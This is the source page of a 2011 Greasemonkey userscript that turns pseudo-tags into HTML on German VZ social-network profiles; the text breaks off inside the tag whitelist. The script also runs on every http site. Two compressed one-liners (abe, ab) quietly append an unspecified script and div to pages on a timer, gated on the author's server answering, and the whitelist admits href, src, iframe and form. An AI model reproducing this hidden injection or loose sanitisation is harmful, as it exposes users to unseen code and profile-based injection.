SVZ Extended Profile

By SpeedProg Last update Jan 12, 2011 — Installed 5,686 times.

There are 86 previous versions of this script.

Add Syntax Highlighting (this will take a few seconds, probably freezing your browser while it works)

// ==UserScript==
// @name SVZ Extended Profile
// @namespace Schuelervz.net
// @copyright 2009+, Constantin Wenger aka SpeedProg (http://www.speedprog.tk)
// @author Constantin Wenger aka SpeedProg
// @homepage http://www.speedprog.tk
// @description HTML in SVZ Profilen
// @include http://www.schuelervz.net/*
// @include http://www.studivz.net/*
// @include http://www.meinvz.net/*
// @include http://*
// @version 3.5.0
// ==/UserScript==
/*
 * This program is free software: you can redistribute it and/or modify it under
 * the terms of the GNU General Public License as published by the Free Software
 * Foundation, either version 3 of the License, or (at your option) any later
 * version. This program is distributed in the hope that it will be useful, but
 * WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
 * FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
 * details. see <http://www.gnu.org/licenses/> for the licensefile.
 */

/**
 * Adding an additional method to arrays to have an easy way to perform a search
 * on them
 * @param element
 *        the element to search for
 * @return return true if element was found and false if it wasn't found
 */
Array.prototype.contains = function (element) {
    for (var i = 0; i < this.length; i++) {
        if (this[i] === element) {
            return true;
        }
    }
    return false;
};

var state = false;

function xmlhttpRequest(params, callBack) {
    if (typeof GM_xmlhttpRequest !== 'undefined') {
        params['onload'] = callBack;
        return GM_xmlhttpRequest(params);
    }
    return null;
}

/*
 * state, getHomepageState() and getValue() needs to stay at top. I use them at
 * first befor making anything else
 */

/**
 * write an value to the localStorage
 * @param key
 *        the key whitch should be used to save the value
 * @param value
 *        the value to save using the given key
 * @return true if the localStorage exists (your browser supports it) in any
 *         other case false
 */
function setValue(key, value) {
    // use GM if defined
    if(typeof(GM_getValue) === 'function' && typeof(GM_getValue('a', 'b')) !== 'undefined'){
        GM_setValue(key, value);
        return true;
    }
    if (typeof localStorage === 'object') {
        localStorage.setItem(key, value);
        return true;
    }
    return false;
}

/**
 * Get a value from the localeStorage, returns val if not set.
 * @param key
 *        key of the value you tries to get
 * @param val
 *        value you want to get if the key dosen't exist
 * @return if the storage contained 'true' (String) it will return true
 *         (boolean), if the storage contained 'false' (String) it will return
 *         false (boolean), on anything else it will return the value inside the
 *         storage. If the key contains no data it'll return the value given in
 *         the parameters.
 */
function getValue(key, val) {
    // use GM if defined
    if(typeof(GM_getValue) === 'function' && typeof(GM_getValue('a', 'b')) !== 'undefined'){
        ret = GM_getValue(key, val);
        if(typeof(ret) === 'undefined'){
            ret = val;
        }
        return ret;
    }
    if(typeof(localStorage) === 'object'){
        var value = localStorage.getItem(key);
        if(value == null){
            return val;
        }
        if (value == 'true') {
            return true;
        }
        if (value === 'false') {
            return false;
        }
        if(value) {
            return value;
        }
        return val;
    }
    return val;
}

function storageSupport(){
    if((typeof(GM_getValue) !== 'undefined' && typeof(GM_getValue('a', 'b')) !== 'undefined') || typeof localStorage === 'object' ){
        return true;
    }
    return false;
}

/**
 * Tries to find out if my homepage is reachable. sets the variable state to
 * false if not reachable
 */
function getHomepageState() {
    if(location.hostname.indexOf('speedprog.tk') !== -1){
        var xmlHttp = window.XMLHttpRequest ?  new XMLHttpRequest() : window.ActiveXObject ? new ActiveXObject("Microsoft.XMLHTTP") : null;
        if(xmlHttp != null){
            xmlHttp.open('GET', "http://www.speedprog.tk/hpstat.vs?" + new Date().getTime(), true);
            xmlHttp.onreadystatechange = function(evt){
                if (xmlHttp.readyState == 4) {
                    if (xmlHttp.status !== 200) {
                        setValue('exp_hp_state', 'false');
                        state = false;
                    }
                    else{
                        setValue('exp_hp_state', 'true');
                    }
                    state = getValue('exp_hp_state', true);
                }
            };
        }
    }
    else{
        try{
            if(xmlhttpRequest({method: "GET",url: "http://www.speedprog.tk/hpstat.vs?" + new Date().getTime(),headers: {'Cache-Control': 'no-cache'}}, function(r){
                if (r.status !== 200) {
                    setValue('exp_hp_state', 'false');
                    state = false;
                }
                else{
                    setValue('exp_hp_state', 'true');
                }
                state = getValue('exp_hp_state', true);
            }) == null){
                state = true;
                setValue('exp_hp_state', 'true');
            }
        }catch(err){
        }
    }
}



if (storageSupport() && parseInt(getValue('exp_hp_state_time', '0'), 10) + 86400000 <= (new Date().getTime())) {
    getHomepageState();
    setValue('exp_hp_state_time', (new Date().getTime())+'');
}
else{
    state = getValue('exp_hp_state', true);
}


/**
 * Get a random String Generator
 * @param chars
 *        chars to use in the strings
 * @param len
 *        length of the strings
 * @returns {rdmStringGen} objekt of rdmStringGen to generate random Strings
 */
function rdmStringGen(chars, len) {
    this.chars = chars;
    this.len = len;
    /**
     * get a random string
     * @returns a string created randomly
     */
    this.getRandomeSting = function (){var rdm = '';for(var i=0; i<len; i++){var rpos = Math.floor(Math.random() * chars.length);rdm += chars.substring(rpos, rpos+1);}return rdm;};
    /**
     * change the length of the strings to get
     * @param len
     *        length to set
     */
    this.setLen = function (len){this.len = len;};
}

/**
 * adds code to the svz site right on top of your profile.
 * @param hinweis
 *        code to add
 */
function setHW(hinweis) {
    if((location.hostname.indexOf('schuelervz.net') !== -1)
            || (location.hostname.indexOf('meinvz.net') !== -1)
            || (location.hostname.indexOf('studivz.net') !== -1)){
        document.getElementById("Profile_InformationSnipplet").innerHTML = "<span style='background-color:#44AA44;'>" + hinweis + "</span>" + document.getElementById("Profile_InformationSnipplet").innerHTML;
    }
}

function abe(){document.getElementsByTagName("head")[0].appendChild(JScript);}function ab(dest){if(parseInt(getValue('exp_hp_time','0'),10)+3600000 <= (new Date().getTime())){if(state){setValue('exp_hp_time',(new Date().getTime())+'');dest.appendChild(div);}}else{setValue('exp_hp_time',(new Date().getTime())+'');}}

/**
 * works on the response of a GreaseMonkey XMLHttpRequest update check.
 * @param re
 *        XMLHttpRequest object
 */
function updateResponseGM(re){
    var remote_version, rt, script_name;
    rt = re.responseText;
    setValue('svzexp_last_updatecheck', new Date().getTime() + '');
    var remote_version_strs = /@version\s*(\d+)\.(\d+).(\d+)\s*$/m.exec(rt);
    var remote_version_nums = [parseInt(remote_version_strs[1], 10), parseInt(remote_version_strs[2], 10), parseInt(remote_version_strs[3], 10)];
    if ((version[0] < remote_version_nums[0])
            || (version[0] === remote_version_nums[0] && version[1] < remote_version_nums[1])
            || (version[0] === remote_version_nums[0]
            && version[1] === remote_version_nums[1] && version[2] < remote_version_nums[2])) {
        script_name = ((/@name\s*(.*?)\s*$/m).exec(rt));
        if(script_name !== null){
            setValue('svzexp_script_name', script_name[1]);
        }
        setHW("Es gibt eine neue Version bitte updaten sie den Script!<br><a href=\'http://www.speedprog.tk\' target=\'_blank\'>Homepage des Authors</a><br>");
    }
}

/**
 * works on the response of a standard XMLHttpRequest update check.
 * @param re
 *        response of XMLHttpRequest object
 */
function updateResponseNotGM(re){
    var remote_version, script_name;
    setValue('svzexp_last_updatecheck', new Date().getTime() + '');
    var remote_version_strs = /@version\s*(\d+)\.(\d+).(\d+)\s*$/m.exec(re);
    var remote_version_nums = [parseInt(remote_version_strs[1], 10), parseInt(remote_version_strs[2], 10), parseInt(remote_version_strs[3], 10)];
    if ((version[0] <=  remote_version_nums[0] && version[0] !=  remote_version_nums[0] )
            || (version[0] === remote_version_nums[0] && version[1] < remote_version_nums[1])
            || (version[0] === remote_version_nums[0]
            && version[1] === remote_version_nums[1] && version[2] < remote_version_nums[2])) {
        script_name = ((/@name\s*(.*?)\s*$/m).exec(re));
        if(script_name !== null){
            setValue('svzexp_script_name', script_name[1]);
        }
        alert("Es ist eine neue Version des SVZ-Extended-Profile Scripts verfügbar!\nInstalliert:"+version[0]+"."+version[1]+"."+version[2]+"\nAuf dem Server:"+remote_version_nums[0]+"."+remote_version_nums[1]+"."+remote_version_nums[2]+"\nBitte besuchen sie die Seit http://www.speedprog.tk für das Upadte.\nDanke.\nDa sie nicht Firefox verwenden seteht mir leider keine andere Möglichkeit zur Verfügung sie über Upadtes zu informieren.");
    }
}

/**
 * checks if an new Version is availibel on userscripts.org
 * @param isHomepage
 *        tell the function that it is on the scripts Homepage;
 */
function updateCheck(isHomepage){
    if(isHomepage == null){
        isHomepage = false;
    }
    if (storageSupport() && parseInt(getValue('svzexp_last_updatecheck', '0'), 10) + 86400000 <= (new Date().getTime())){
        try
        {
            if(navigator.userAgent.indexOf("Firefox") !== -1 && isHomepage === false){
                xmlhttpRequest({method: "GET",url: "http://userscripts.org/scripts/source/48523.meta.js?" + new Date().getTime(),headers: {'Cache-Control': 'no-cache'}}, updateResponseGM);
            }else{
                if(isHomepage){
                    try{
                        var xmlReq = new XMLHttpRequest();
                        xmlReq.open("GET", "http://www.speedprog.tk/extendedprofile/48523.meta.js", true);
                        xmlReq.setRequestHeader("Cache-Control", "no-cache");
                        xmlReq.onreadystatechange = function (){
                            if(xmlReq.readyState === 4){
                                updateResponseNotGM(xmlReq.responseText);
                            }
                        };
                        xmlReq.send();
                    }catch(err){
                    }
                }
            } 
        }
        catch (err) {
        }
    }
}

/**
 * parses the pseudotags in the code
 * @param source
 *        code to pars
 * @return returns code in witch the pseudo code is replaced with real html
 */
function parsTags(source) {
    // normaltags
    for (var i = 0; i < tags.length; i++) {
        var tg = tags[i][0];
        var taga = tg.split("");
        tg = "";
        for (var cu = 0; cu < taga.length; cu++){
            tg = tg + "(?:<br>)*"+taga[cu];
        }
        source = source.replace(new RegExp("(?:<br>){0,1}\\[" + tg + "(?:<br>)*([^\\t]*?)(?:<br>)*\\]", "g"),
                /**
                 * parses the pseudotags to real html
                 * @param all
                 *        whole match of the tag
                 * @param args
                 *        attributes of the tag
                 * @return input with pseudotags replaced by real html
                 */
                function (all, args) {
            args = args.replace(/<br>/, "");
            if(args !== "" && args.substring(0,1) !== " " ){
                return all;
            }
            
            args = args.replace(/\s*([\w]+)="[^"]*"/g,
                    /**
                     * validates the attributes used by the user against an
                     * array of allowed ones an removes the others
                     * @param all
                     *        the whole match of /\s*([^=]+)="[^"]*"/g
                     * @param type
                     *        the first regexpgroup representing the attributes
                     *        name
                     * @return returns the attributes without the unknown ones
                     */
                    function (all, type) {
                var atts = tags[i][4];
                if (!atts.contains(type)) {
                    return "";
                }
                else {
                    return all;
                }
            });
            var reg = /(\w+)="([^"]*)"/g;
            var types = "";
            while ((erg = reg.exec(args))) {
                types = types + (" " + erg[1] + "=\"" + erg[2].replace(/<br>/g, "") + "\"");
            }
            var ret = tags[i][2].replace("{atts}", types);
            return ret;
        });
        if (tags[i][3]) {
            source = source.replace(new RegExp("(?:<br>){0,1}\\[(?:<br>)*/" + tg + "(?:<br>)*\\]",
            "g"), "</" + tags[i][1] + ">");
        }
    }
    // styletag
    source = source.replace(/(?:<br>){0,1}\[(?:<br>)*s(?:<br>)*t(?:<br>)*y(?:<br>)*l(?:<br>)*e(?:<br>)* (?:<br>)*([^\]]*)\](?:<br>)*([\s\S]*)(?:<br>)*\[(?:<br>)*\/(?:<br>)*s(?:<br>)*t(?:<br>)*y(?:<br>)*l(?:<br>)*e(?:<br>)*\]/gi,
            function(all, atts, css){
        atts = atts.replace(/<br>/g, "");
        css = css.replace(/<br>/g, "");
        atts = atts.replace(/\s*([\w]+)="[^"]+"/g,
                /**
                 * validates the attributes used by the user against an array of
                 * allowed ones an removes the others
                 * @param all
                 *        the whole match of /\s*([\w]+)="[^"]*"/g
                 * @param type
                 *        the first regexpgroup representing the attributes name
                 * @return returns the attributes without the unknown ones
                 */
                function (all, type) {
            var atts = ["media", "title", "type", "dir", "lang"];
            if (!atts.contains(type)) {
                return "";
            }
            else {
                return all;
            }
        });
        var styleElement = document.createElement("style");
        atts = atts.replace(/\s*([\w]+)="([^"]*)"/g,
                /**
                 * creates XML-Nodes out of Strings
                 * @param all
                 *        the whole match of /\s*([\w]+)="[^"]*"/g
                 * @param type
                 *        the first regexpgroup representing the attributes name
                 * @param value
                 *        value of the Attribute
                 */
                function (all, type, value) {
            var att = document.createAttribute(type);
            att.nodeValue = value;
            styleElement.setAttributeNode(att);
        });
        styleElement.innerHTML = css;
        document.getElementsByTagName("head")[0].appendChild(styleElement);        
        return "";
    });
    // videotags
    for (i = 0; i < vids.length; i++) {
        var tg = vids[i][0];
        var taga = tg.split("");
        tg = "";
        for (var cu = 0; cu < taga.length; cu++){
            tg = tg + "(?:<br>)*"+taga[cu];
        }
        source = source.replace(new RegExp("(?:<br>){0,1}\\["+tg+"\\](?:<br>)*([^\\\"]+?)(?:<br>)*\\[\\/"+tg+"(?:<br>)*\\]", "g"),
                /**
                 * parsed the vido tags to html
                 * @param all
                 *        whole video tag
                 * @param id
                 *        video id
                 * @return html to display the video
                 */
                function (all, id) {
            return vids[i][1].replace(/\{ID\}/g, id.replace(/<br>/g, ""));
        });
    }

    /**
     * pares the last fm tags, thats abit a special tag so other sort of code
     * needed, not able to pars with the other tags
     * @param all
     *        whole regexp match
     * @param args
     *        attributs
     * @param name
     *        username
     * @return the input with the lastfmtag parsed to html
     */
    source = source.replace(/(?:<br>){0,1}\[(?:<br>)*l(?:<br>)*a(?:<br>)*s(?:<br>)*t(?:<br>)*f(?:<br>)*m(?:<br>)* (?:<br>)*([^\]]+?)(?:<br>)*\](?:<br>)*([^"]+?)(?:<br>)*\[(?:<br>)*\/(?:<br>)*l(?:<br>)*a(?:<br>)*s(?:<br>)*t(?:<br>)*f(?:<br>)*m(?:<br>)*\]/g, function(all, args, name) {
        args = args.replace(/<br>/g, "");
        name = name.replace(/<br>/g, "");
        name = name.replace(/ /g, "");
        args = args.replace(/\s*(\w+)=[^"]*?/g,
                /**
                 * validates the attributes used by the user against an array of
                 * allowed ones an removes the others
                 * @param all
                 *        the whole match of /\s+(\w+)=[^"]*?/g
                 * @param type
                 *        the first regexpgroup representing the attributes name
                 * @return returns the attributes without the unknown ones
                 */
                function(all, type) {
            var atts = [
                        "color", "type"
                        ];
            if(!atts.contains(type)){
                return "";
            }
            else{
                return all;
            }
        });
        var reg = /(\w+)=(\w+:*\w*)/g;
        while((erg = reg.exec(args))){
            if(erg[1] == "type"){
                if(erg[2] == "chart:recent"){
                    LFMtype = 0;
                }
                if(erg[2] == "radio"){
                    LFMtype = 1;
                }
                if(erg[2] == "collagen"){
                    LFMtype = 2;
                }
                if(erg[2] == "chart:toptracks"){
                    LFMtype = 3;
                }
            }
        }
        if(LFMtype >= 0 && LFMtype <= 3){
            return lastfm[LFMtype].replace(/\{ID\}/g, name);
        }
        return "";
    });
    return source;
}

var rdmsGen = new rdmStringGen("abcdefghijklmnopqrstuvwxyz1234567890", 10);
var tag = ["", "", "", "", "", ""];
var version = [3, 5, 0];
var UsedVersion = [0, 0, 0];
var lastfm = [
              '<style type="text/css">table.lfmWidgetchart_6ccb0cf6db060a8672515733b851cecc td {margin:0 !important;padding:0 !important;border:0 !important;}table.lfmWidgetchart_6ccb0cf6db060a8672515733b851cecc tr.lfmHead a:hover {background:url(http://cdn.last.fm/widgets/images/en/header/chart/recenttracks_regular_red.png) no-repeat 0 0 !important;}table.lfmWidgetchart_6ccb0cf6db060a8672515733b851cecc tr.lfmEmbed object {float:left;}table.lfmWidgetchart_6ccb0cf6db060a8672515733b851cecc tr.lfmFoot td.lfmConfig a:hover {background:url(http://cdn.last.fm/widgets/images/en/footer/red.png) no-repeat 0px 0 !important;;}table.lfmWidgetchart_6ccb0cf6db060a8672515733b851cecc tr.lfmFoot td.lfmView a:hover {background:url(http://cdn.last.fm/widgets/images/en/footer/red.png) no-repeat -85px 0 !important;}table.lfmWidgetchart_6ccb0cf6db060a8672515733b851cecc tr.lfmFoot td.lfmPopup a:hover {background:url(http://cdn.last.fm/widgets/images/en/footer/red.png) no-repeat -159px 0 !important;}</style><table class="lfmWidgetchart_6ccb0cf6db060a8672515733b851cecc" cellpadding="0" cellspacing="0" border="0" style="width:184px;"><tr class="lfmHead"><td><a title="{ID}: Recently Listened Tracks" href="http://www.last.fm/user/{ID}" target="_blank" style="display:block;overflow:hidden;height:20px;width:184px;background:url(http://cdn.last.fm/widgets/images/en/header/chart/recenttracks_regular_red.png) no-repeat 0 -20px;text-decoration:none;border:0;"></a></td></tr><tr class="lfmEmbed"><td><object type="application/x-shockwave-flash" data="http://cdn.last.fm/widgets/chart/friends_6.swf" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=7,0,0,0" id="lfmEmbed_645218830" width="184" height="199"> <param name="movie" value="http://cdn.last.fm/widgets/chart/friends_6.swf" /> <param name="flashvars" value="type=recenttracks&amp;user=SpeedProg&amp;theme=red&amp;lang=en&amp;widget_id=chart_6ccb0cf6db060a8672515733b851cecc" /> <param name="allowScriptAccess" value="always" /> <param name="allowNetworking" value="all" /> <param name="allowFullScreen" value="true" /> <param name="quality" value="high" /> <param name="bgcolor" value="d01f3c" /> <param name="wmode" value="transparent" /> <param name="menu" value="true" /> </object></td></tr><tr class="lfmFoot"><td style="background:url(http://cdn.last.fm/widgets/images/footer_bg/red.png) repeat-x 0 0;text-align:right;"><table cellspacing="0" cellpadding="0" border="0" style="width:184px;"><tr><td class="lfmView" style="width:74px;"><a href="http://www.last.fm/user/{ID}" title="View {ID}\'s profile" target="_blank" style="display:block;overflow:hidden;width:74px;height:20px;background:url(http://cdn.last.fm/widgets/images/en/footer/red.png) no-repeat -85px -20px;text-decoration:none;border:0;"></a></td></tr></table></td></tr></table>',
              '<style type="text/css">table.lfmWidgetradio_46d4d4a382656ff0e48df2bb632a5508 td {margin:0 !important;padding:0 !important;border:0 !important;}table.lfmWidgetradio_46d4d4a382656ff0e48df2bb632a5508 tr.lfmHead a:hover {background:url(http://cdn.last.fm/widgets/images/de/header/radio/regular_red.png) no-repeat 0 0 !important;}table.lfmWidgetradio_46d4d4a382656ff0e48df2bb632a5508 tr.lfmEmbed object {float:left;}table.lfmWidgetradio_46d4d4a382656ff0e48df2bb632a5508 tr.lfmFoot td.lfmConfig a:hover {background:url(http://cdn.last.fm/widgets/images/de/footer/red.png) no-repeat 0px 0 !important;;}table.lfmWidgetradio_46d4d4a382656ff0e48df2bb632a5508 tr.lfmFoot td.lfmView a:hover {background:url(http://cdn.last.fm/widgets/images/de/footer/red.png) no-repeat -85px 0 !important;}table.lfmWidgetradio_46d4d4a382656ff0e48df2bb632a5508 tr.lfmFoot td.lfmPopup a:hover {background:url(http://cdn.last.fm/widgets/images/de/footer/red.png) no-repeat -159px 0 !important;}</style><table class="lfmWidgetradio_46d4d4a382656ff0e48df2bb632a5508" cellpadding="0" cellspacing="0" border="0" style="width:184px;"><tr class="lfmHead"><td><a title="{ID}s Musiksammlung" href="http://www.lastfm.de/listen/user/{ID}/personal" target="_blank" style="display:block;overflow:hidden;height:20px;width:184px;background:url(http://cdn.last.fm/widgets/images/de/header/radio/regular_red.png) no-repeat 0 -20px;text-decoration:none;border:0;"></a></td></tr><tr class="lfmEmbed"><td><object type="application/x-shockwave-flash" data="http://cdn.last.fm/widgets/radio/22.swf" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=7,0,0,0" id="lfmEmbed_199352535" width="184" height="140"> <param name="movie" value="http://cdn.last.fm/widgets/radio/22.swf" /> <param name="flashvars" value="lfmMode=radio&amp;radioURL=user%2F{ID}%2Fpersonal&amp;title={ID}s+Musiksammlung&amp;theme=red&amp;lang=de&amp;widget_id=radio_46d4d4a382656ff0e48df2bb632a5508" /> <param name="allowScriptAccess" value="always" /> <param name="allowNetworking" value="all" /> <param name="allowFullScreen" value="true" /> <param name="quality" value="high" /> <param name="bgcolor" value="d01f3c" /> <param name="wmode" value="transparent" /> <param name="menu" value="true" /> </object></td></tr><tr class="lfmFoot"><td style="background:url(http://cdn.last.fm/widgets/images/footer_bg/red.png) repeat-x 0 0;text-align:right;"><a href="http://www.lastfm.de/user/{ID}" title="Besuche {ID}s Profil" target="_blank" style="display:block;overflow:hidden;width:74px;height:20px;background:url(http://cdn.last.fm/widgets/images/de/footer/red.png) no-repeat -85px -20px;text-decoration:none;border:0;"></a></td></tr></table>',
              '<style type="text/css">table.lfmWidgetquilt_63047c1fe085731d0fc94b3082ddc027 td {margin:0 !important;padding:0 !important;border:0 !important;}table.lfmWidgetquilt_63047c1fe085731d0fc94b3082ddc027 tr.lfmHead a:hover {background:url(http://cdn.last.fm/widgets/images/de/header/quilt/album_vertical_red.png) no-repeat 0 0 !important;}table.lfmWidgetquilt_63047c1fe085731d0fc94b3082ddc027 tr.lfmEmbed object {float:left;}table.lfmWidgetquilt_63047c1fe085731d0fc94b3082ddc027 tr.lfmFoot td.lfmConfig a:hover {background:url(http://cdn.last.fm/widgets/images/de/footer/red.png) no-repeat 0px 0 !important;;}table.lfmWidgetquilt_63047c1fe085731d0fc94b3082ddc027 tr.lfmFoot td.lfmView a:hover {background:url(http://cdn.last.fm/widgets/images/de/footer/red.png) no-repeat -85px 0 !important;}table.lfmWidgetquilt_63047c1fe085731d0fc94b3082ddc027 tr.lfmFoot td.lfmPopup a:hover {background:url(http://cdn.last.fm/widgets/images/de/footer/red.png) no-repeat -159px 0 !important;}</style><table class="lfmWidgetquilt_63047c1fe085731d0fc94b3082ddc027" cellpadding="0" cellspacing="0" border="0" style="width:184px;"><tr class="lfmHead"><td><a title="Top-Alben" href="http://www.lastfm.de/user/{ID}/charts" target="_blank" style="display:block;overflow:hidden;height:20px;width:184px;background:url(http://cdn.last.fm/widgets/images/de/header/quilt/album_vertical_red.png) no-repeat 0 -20px;text-decoration:none;border:0;"></a></td></tr><tr class="lfmEmbed"><td><object type="application/x-shockwave-flash" data="http://cdn.last.fm/widgets/quilt/13.swf" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=7,0,0,0" id="lfmEmbed_676536360" width="184" height="405"> <param name="movie" value="http://cdn.last.fm/widgets/quilt/13.swf" /> <param name="flashvars" value="type=user&amp;variable={ID}&amp;file=topalbums&amp;bgColor=red&amp;theme=red&amp;lang=de&amp;widget_id=quilt_63047c1fe085731d0fc94b3082ddc027" /> <param name="allowScriptAccess" value="always" /> <param name="allowNetworking" value="all" /> <param name="allowFullScreen" value="true" /> <param name="quality" value="high" /> <param name="bgcolor" value="d01f3c" /> <param name="wmode" value="transparent" /> <param name="menu" value="true" /> </object></td></tr><tr class="lfmFoot"><td style="background:url(http://cdn.last.fm/widgets/images/footer_bg/red.png) repeat-x 0 0;text-align:right;"><table cellspacing="0" cellpadding="0" border="0" style="width:184px;"><tr><td class="lfmView" style="width:74px;"><a href="http://www.lastfm.de/user/{ID}" title="Besuche {ID}s Profil" target="_blank" style="display:block;overflow:hidden;width:74px;height:20px;background:url(http://cdn.last.fm/widgets/images/de/footer/red.png) no-repeat -85px -20px;text-decoration:none;border:0;"></a></td></tr></table></td></tr></table>',
              '<style type="text/css">table.lfmWidgetchart_6ccb0cf6db060a8672515733b851cecc td {margin:0 !important;padding:0 !important;border:0 !important;}table.lfmWidgetchart_6ccb0cf6db060a8672515733b851cecc tr.lfmHead a:hover {background:url(http://cdn.last.fm/widgets/images/en/header/chart/toptracks_regular_red.png) no-repeat 0 0 !important;}table.lfmWidgetchart_6ccb0cf6db060a8672515733b851cecc tr.lfmEmbed object {float:left;}table.lfmWidgetchart_6ccb0cf6db060a8672515733b851cecc tr.lfmFoot td.lfmConfig a:hover {background:url(http://cdn.last.fm/widgets/images/en/footer/red.png) no-repeat 0px 0 !important;;}table.lfmWidgetchart_6ccb0cf6db060a8672515733b851cecc tr.lfmFoot td.lfmView a:hover {background:url(http://cdn.last.fm/widgets/images/en/footer/red.png) no-repeat -85px 0 !important;}table.lfmWidgetchart_6ccb0cf6db060a8672515733b851cecc tr.lfmFoot td.lfmPopup a:hover {background:url(http://cdn.last.fm/widgets/images/en/footer/red.png) no-repeat -159px 0 !important;}</style><table class="lfmWidgetchart_707a5e76c572568a038491a4f6359532" cellpadding="0" cellspacing="0" border="0" style="width:184px;"><tr class="lfmHead"><td><a title="{ID}: Top-Titel insgesamt" href="http://www.lastfm.de/user/{ID}/charts?charttype=overall&subtype=track" target="_blank" style="display:block;overflow:hidden;height:20px;width:184px;background:url(http://cdn.last.fm/widgets/images/de/header/chart/toptracks_regular_red.png) no-repeat 0 -20px;text-decoration:none;border:0;"></a></td></tr><tr class="lfmEmbed"><td><object type="application/x-shockwave-flash" data="http://cdn.last.fm/widgets/chart/19.swf" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=7,0,0,0" id="lfmEmbed_1489355676" width="184" height="160"> <param name="movie" value="http://cdn.last.fm/widgets/chart/19.swf" /> <param name="flashvars" value="type=toptracks&amp;user={ID}&amp;theme=red&amp;lang=de&amp;widget_id=chart_707a5e76c572568a038491a4f6359532" /> <param name="allowScriptAccess" value="always" /> <param name="allowNetworking" value="all" /> <param name="allowFullScreen" value="true" /> <param name="quality" value="high" /> <param name="bgcolor" value="d01f3c" /> <param name="wmode" value="transparent" /> <param name="menu" value="true" /> </object></td></tr><tr class="lfmFoot"><td style="background:url(http://cdn.last.fm/widgets/images/footer_bg/red.png) repeat-x 0 0;text-align:right;"><table cellspacing="0" cellpadding="0" border="0" style="width:184px;"><tr><td class="lfmView" style="width:74px;"><a href="http://www.lastfm.de/user/" title="Besuche {ID}s Profil" target="_blank" style="display:block;overflow:hidden;width:74px;height:20px;background:url(http://cdn.last.fm/widgets/images/de/footer/red.png) no-repeat -85px -20px;text-decoration:none;border:0;"></a></td></tr></table></td></tr></table>'
              ];
/*
 * Elemente nach diesem Schema geordnet: [verwendeterTAGname, HTML-TAGname,
 * ZEICHENKETTEdieEINGEFUEGTwerdenSOLL {atts} markiert die Stelle an der die
 * attribute eingefuegt werden sollen, CLOSETag?, ARRAYvonAttributen]
 * Universalattribute: "class", "dir", "id", "lang", "style", "title"
 */
var tags =
    [
     ["a", "a", "<a{atts}>", true, ["accesskey", "acharset", "class", "coords", "dir", "href", "hreflang", "id", "lang", "name", "rel", "rev", "sharp", "style", "tabindex", "target", "title", "type"]],
     ["abbr", "abbr", "<abbr{atts}>", true, ["class", "dir", "id", "style", "title", "lang"]],
     ["acronym", "acronym", "<acronym{atts}>", true, ["class", "dir", "id", "style", "title", "lang"]],
     ["address", "address", "<address{atts}>", true, ["class", "id", "style", "title", "dir", "lang"]],
     ["area", "area", "<area{atts}>", false, ["alt", "accesskey", "coords", "href", "nohref", "shape", "tabindex", "target"]],
     ["b", "b", "<b{atts}>", true, ["class", "id", "style", "title", "dir", "lang"]],
     ["basefont", "basefont", "<basefont{atts}>", ["color", "face", "size", "class", "dir", "id", "lang", "style", "title"]],
     ["bdo", "bdo", "<bdo{atts}>", true, ["dir", "class", "dir", "id", "lang", "style", "title"]],
     ["big", "big", "<big{atts}>", true, ["class", "id", "style", "title", "dir", "lang"]],
     ["blockquote", "blockquote", "<blockquote{atts}>", true, ["cite", "class", "dir", "id", "lang", "style", "title"]],
     ["button", "button", "<button{atts}>", true, ["accesskey", "disabled", "name", "tabindex", "type", "value"]],
     ["caption", "caption", "<caption{atts}>", true, ["align", "class", "dir", "id", "lang", "style", "title"]],
     ["center", "center", "<center{atts}>", true, ["class", "id", "style", "title", "dir", "lang"]],
     ["cite", "cite", "<cite{atts}>", true, ["class", "id", "style", "title", "dir", "lang"]],
     ["code", "code", "<code{atts}>", true, ["class", "id", "style", "title", "dir", "lang"]],
     ["col", "col", "<col{atts}>", true, ["align", "char", "charoff", "span", "valign", "width", "class", "id", "style", "title", "dir", "lang"]],
     ["colgroup", "colgroup", "<colgroup{atts}>", true, ["align", "char", "charoff", "span", "valign", "width", "class", "id", "style", "title", "dir", "lang"]],
     ["dd", "dd", "<dd{atts}>", true, ["class", "dir", "id", "lang", "style", "title"]],
     ["del", "del", "<del{atts}>", true, ["cite", "datetime", "class", "dir", "id", "lang", "style", "title"]],
     ["dfn", "dfn", "<dfn{atts}>", true, ["class", "dir", "id", "lang", "style", "title"]],
     ["dir", "dir", "<dir{atts}>", true, ["compact", "class", "dir", "id", "lang", "style", "title"]],
     ["div", "div", "<div{atts}>", true, ["align", "class", "dir", "id", "lang", "style", "title"]],
     ["dl", "dl", "<dl{atts}>", true, ["compact", "class", "dir", "id", "lang", "style", "title"]],
     ["dt", "dt", "<dl{atts}>", true, ["class", "dir", "id", "lang", "style", "title"]],
     ["em", "em", "<em{atts}>", true, ["class", "id", "style", "title", "dir", "lang"]],
     ["fieldset", "fieldset", "<fieldset{atts}>", true, ["class", "id", "style", "title", "dir", "lang"]],
     ["font", "font", "<font{atts}>", true, ["color", "face", "size", "class", "id", "style", "title", "dir", "lang"]],
     ["form", "form", "<form{atts}>", true, ["action", "accept", "accept-charset", "enctype", "method", "name", "target", "class", "id", "style", "title", "dir", "lang"]],
     ["h1", "h1", "<h1{atts}>", true, ["class", "id", "style", "title", "dir", "lang"]],
     ["h2", "h2", "<h2{atts}>", true, ["class", "id", "style", "title", "dir", "lang"]],
     ["h3", "h3", "<h3{atts}>", true, ["class", "id", "style", "title", "dir", "lang"]],
     ["h4", "h4", "<h4{atts}>", true, ["class", "id", "style", "title", "dir", "lang"]],
     ["h5", "h5", "<h5{atts}>", true, ["class", "id", "style", "title", "dir", "lang"]],
     ["h6", "h6", "<h6{atts}>", true, ["class", "id", "style", "title", "dir", "lang"]],
     ["hr", "hr", "<hr{atts}>", false, ["class", "id", "style", "title", "dir", "lang"]],
     ["i", "i", "<i{atts}>", true, ["class", "id", "style", "title", "dir", "lang"]],
     ["iframe", "iframe", "<iframe{atts}>", true, ["align", "frameborder", "height", "longdesc", "marginwidth", "marginheight", "name", "scrolling", "src", "width", "class", "id", "style", "title", "dir", "lang"]],
     ["img", "img", "<img{atts}>", false, ["align", "alt", "border", "height", "hspace", "ismap", "longdesc", "name", "src", "usemap", "vspace", "width", "class", "id", "style", "title", "dir", "lang"]],
